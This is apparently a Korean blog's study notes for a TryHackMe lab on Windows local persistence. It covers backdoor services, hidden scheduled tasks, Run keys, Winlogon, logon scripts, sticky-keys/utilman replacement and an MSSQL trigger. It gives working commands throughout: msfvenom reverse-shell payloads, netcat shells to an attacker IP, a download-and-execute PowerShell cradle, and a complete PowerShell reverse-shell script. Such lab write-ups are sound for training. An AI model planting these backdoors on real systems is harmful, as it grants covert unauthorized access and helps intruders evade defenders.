본문 바로가기

Play/THM

Windows Local Persistence (3)

TASK 4. 서비스 남용

4.1 Creating backdoor services

 

1) 리버스쉘 페이로드 만들기

msfvenom -p windows/x64/shell_reverse_tcp LHOST={ATTACKER_IP} LPORT=4448 -f exe-service -o rev-svc.exe

* 포맷이 exe-service이다.

 

2) 가져오기 

scp root@{ATTACKER_IP}:/root/rev-svc.exe c:\windows\


3) nc 리스닝

 

4) 서비스 등록하기

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

 

 

4.2 Modifying existing services

블루팀이 네트워크 내 새로운 서비스 생성을 모니터링할 수도 있다. 탐지를 피하기 위해 기존 서비스를 재사용하는 방법도 존재한다.

보통 비활성화된 서비스는 사용자가 인지하지 못한 채 변경될 수 있으므로 좋은 백도어 후보가 될 수 있다.

1) 서비스 열거

 sc.exe query state=all

 

stopped 상태의 서비스를 목표로 한다.

 

2) 서비스 구성 쿼리

sc.exe qc THMService3

 

마침 BINARY_PATH_NAME 이 LocalSystem이다. 해당 서비스는 SYSTEM 권한으로 실행된다.

 

3) nc 리스닝

 

4) PATH 변경

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc.exe" start= auto obj= "LocalSystem"

BINARY_PATH_NAME를 변경하자.

 

 


TASK 5. 예약 작업 남용

5.1 Task Scheduler

작업을 예약하는 가장 일반적인 방법 : schtasks

 

1) 예약 작업 생성

schtasks /create /sc minute /mo 1 /tn {TASK_NAME} /tr "c:\tools\nc64 -e cmd.exe {ATTACKER_IP} 4449" /ru SYSTEM

→ 1분마다 리버스쉘을 실행하는 작업

 

 

2) 확인

schtasks /query /tn {TASK_NAME}

 

 

3) 예약 작업 숨기기

SD를 삭제하여 시스템의 모든 사용자에게 해당 작업이 보이지 않도록 하자.

→ SD : 예약된 작업에 액세스할 수 있는 사용자를 나타내는 ACL

→ Windows에서는 사용 권한이 있는 작업만 표시하므로, SD를 삭제하면 해당 작업을 볼 수 없음

 

a. SYSTEM 권한으로 rededit을 오픈

PsExec64.exe -s -i regedit

 

b. SD 제거

예약된 작업의 SD는 아래 경로에서 확인 가능하다.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{작업명}

 

여기서 생성한 작업의 SD를 제거하면 된다.

 

c. 제거되었는지 확인

schtasks /query /tn thm-taskbackdoor


 


TASK 6. 로그온

6.1 Startup folder

사용자가 시스템에 로그인할 떄 특정 페이로드가 실행되도록 하는 방법이다.

 

[각 사용자의 시작 프로그램]

C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

[모든 사용자의 시작 프로그램]

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

 

1) 리버스쉘 페이로드 생성

msfvenom -p windows/x64/shell_reverse_tcp LHOST={ATTACKER_IP} LPORT=4444 -f exe -o rev_shell.exe

 

2) 타겟에 업로드 후, 시작프로그램 폴더로 이동

scp root@{ATTACKER_IP}:/root/rev_shell.exe .\

 

3) nc 리스닝 

 

4) 로그아웃 후 로그온

 

 


6.2 Run / RunOnce

1) 리버스쉘 페이로드 생성

- C:\Windows 경로로 페이로드 이동

 

2) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 에서 시작 프로그램 추가

→ RFG_EXPAND_SZ

 

3) nc 리스닝

 

4) 로그아웃 후 로그온

 

 


 

6.3  Winlogon

사용자 프로필을 로드하는 Windows 구성 요소인 Winlogon을 이용한 방법이다.

 

 

1) 

아래 경로로 접근하면 Winlogon 관련 키를 확인할 수 있다.

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

여기서 타겟은 Shell 또는 Userinit이 된다.

둘다 exe 파일을 실행하도록 되어 있는데, 파일을 리버스쉘 페이로드로 변경해줄 것이다.

 

2) 리버스쉘 페이로드 생성

- C:\Windows 경로로 페이로드 이동

 

3)  Shell 또는 Userinit의 Data값 변경

 

4) nc 리스닝

 

5) 로그아웃 후 로그온

 

 


6.4 Logon scripts

사용자 프로필 로드 시 수행되는 작업 중 하나는, UserInitMprLogonScript 환경변수를 확인하는 것이다.

해당 환경변수를 사용하여 로그온 시 실행될 스크립트를 할당할 수 있는데, 기본적으로 설정되어 있지 않기 때문에 변수를 생성해주어야 한다.

 

1) 아래 경로로 접근하여 현 사용자의 환경변수를 확인

HKCU\Environment

* HKCU로, 여기서 수행하는 작업은 현 사용자에게만 적용된다.

 

2) 리버스쉘 페이로드 생성

- C:\Windows 경로로 페이로드 이동


3) UserInitMprLogonScript 환경변수 생성 후 Date 값 설정

 

4) nc 리스닝

 

5) 로그아웃 후 로그온

 


 

TASK 7 Backdooring the Login Screen / RDP

7.1 Sticky Keys

shift 키를 다섯 번 누르면 뜨는 고정 키 팝업을 이용한 방법이다.

 


이 떄, C:\Windows\System32\sethc.exe 파일이 실행되는데, 이를 cmd로 변경하면 로그인하지 않아도 cmd를 실행할 수 있다.

 

1) 파일의 소유권을 현재 사용자로 가져오기

takeown /f c:\Windows\System32\sethc.exe

 

2) 수정권한 부여하기

icacls C:\Windows\System32\sethc.exe /grant Administrator:F

 

3) sethc.exe 파일 백업 후, cmd 파일로 대체하기

move C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_bak.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

 

4) 로그인 화면에서 cmd 열기

 

 

7.2 Utilman

Utilman은 로그인 화면에서 접근성 옵션을 제공하는 기능이다.

해당 버튼을 클릭하면 C:\Windows\System32\Utilman.exe 이 SYSTEM 권한으로 실행된다. 7.1과 동일하게 해당 파일을 cmd로 대체할 것이다.

1) 파일의 소유권을 현재 사용자로 가져오기

takeown /f c:\Windows\System32\utilman.exe

 

2) 수정권한 부여하기

icacls C:\Windows\System32\utilman.exe /grant Administrator:F

 

3) utilman.exe 파일 백업 후, cmd 파일로 대체하기

move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_bak.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

 

4) 로그인 화면에서 cmd 열기

 


 

TASK 8 Persisting Through Existing Services

Windows 기능 외에도 다른 방법을 사용할 수 있다.

 

8.1 Web Shell

타겟의 웹 서버 경로에 웹쉘 업로드하기

8.2 MSSQL

MSSQL의 트리거를 사용하면 DB에서 특정 이벤트 발생 시 수행할 작업을 바인딩할 수 있다.

: INSERT, DELETE, UPDATE등의 이벤트 발생 → 트리거 발동

 

1) 저장 프로시저 활성화

MSSQL에서 기본적으로 제공하는 저장프로시저인 xp_cmdshel를 활성화한다.

*시스템 콘솔에서 직접 명령을 실행할 수 있도록 하는 프로시저로, 기본적으로 비활성화 상태임

 

a. Microsoft SQL Server Management Studio 18 열기

b. New Query

c. 쿼리 실행

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

 

 

2)

xp_cmdshell는  sysadmin 역할에 속한 사용자만 수행 가능하다. 

sysadmin에 속한 sa 계정을 가장할 수 있는 권한을 부여하는 쿼리를 실행해주자.

USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];

 

3) 트리거 구성

USE HRDB

# Employees 테이블에 새로운 레코드가 삽입될 때 실행된다
CREATE TRIGGER [sql_trigger]
ON HRDB.dbo.Employees 
FOR INSERT AS

# 트리거는 sa 계정으로 실행되며, "xp_cmdshell"을 사용하여 Powershell 명령을 실행한다
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://{ATTACKER_IP}:8888/script.ps1'')"';

 

 

4) 공격자 서버에 script.ps1 생성

$client = New-Object System.Net.Sockets.TCPClient("{ATTACKER_IP}",4444);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

 

 

5) 공격자 서버에서 간단한 웹서버 열기 + nc 리스닝

python3 -m http.server 8888

 

 

6) 타겟 웹서버로 접근하여 INSERT 이벤트 수행

'Play > THM' 카테고리의 다른 글

Breaching Active Directory (2)  (1) 2023.10.12
Breaching Active Directory (1)  (0) 2023.09.27
Windows Local Persistence (2)  (0) 2023.09.25
Windows Local Persistence (1)  (0) 2023.09.25
THM Offensive Pentesting - Gamezone  (0) 2023.07.20